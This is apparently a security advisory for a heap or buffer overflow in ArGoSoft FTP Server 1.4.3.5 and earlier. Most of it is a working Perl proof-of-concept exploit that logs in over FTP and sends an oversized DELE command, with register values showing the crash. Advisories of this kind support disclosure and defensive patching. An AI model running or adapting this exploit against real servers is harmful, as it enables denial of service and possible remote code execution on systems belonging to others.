ArGoSoft FTP Server Remote Buffer Overflow ExploitSummary
"ArGoSoft FTP Server is a FTP server for Windows95/98/NT, and supports all basic FTP commands, and much more, such as passive mode, resuming file transfers, windows shortcuts to another files, folders and drives (including network drives), virtual domains (multiple IP homes), IP filtering, site specific commands, such as compressing and copying files on the server, changing date/time stamps, and so on."
Lack of proper length validation in ArGoSoft FTP server commands allows attackers to execute arbitrary code or cause a DoS condition and crash the server.
Credit:
The information has been provided by Jerome Athias.
The original article can be found at: https://www.securinfos.info/english/security-advisories-alerts/20060225_ArGoSoft.FTP.Server_Heap.Overflow.html
Details
Vulnerable Systems:
* ArGoSoft FTP server 1.4.3.5 and prior
#!/usr/bin/perl
# ---------------------------------------------------- #
# ArgoSoftFTP.pl - PoC exploit for ArgoSoft FTP Server #
# Jerome Athias #
# ---------------------------------------------------- #
use Net::FTP;
# geting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];
# ===========
if (($host) && ($port)) {
# make exploit string
$exploit_string = "DELE ";
$exploit_string .= "A" x 2041;
$exploit_string .= "B" x 4;
$exploit_string .= "C" x 1026;
# On Win2K SP4 FR:
# EAX 42424241
# ECX 43434343
# EDX 43434342
# EBX 43434B73
# ===================
print "Trying to connect to $host:$port\n";
$sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, Debug=> $debug) or die "[-] Connection failed\n";
print "[+] Connect OK!\n";
print "Logging...\n";
if (!$user) {
$user = "test";
$pass = "test";
}
$sock->login($user, $pass);
$answer = $sock->message;
print "Sending string...\n";
$sock->quot($exploit_string);
} else {
print "ArgoSoft FTP Server - PoC
Exploit\nhttps://www.securinfos.info\n\nUsing: $0 host port username password [debug: 1 or 0]\n\n";
}
# EoF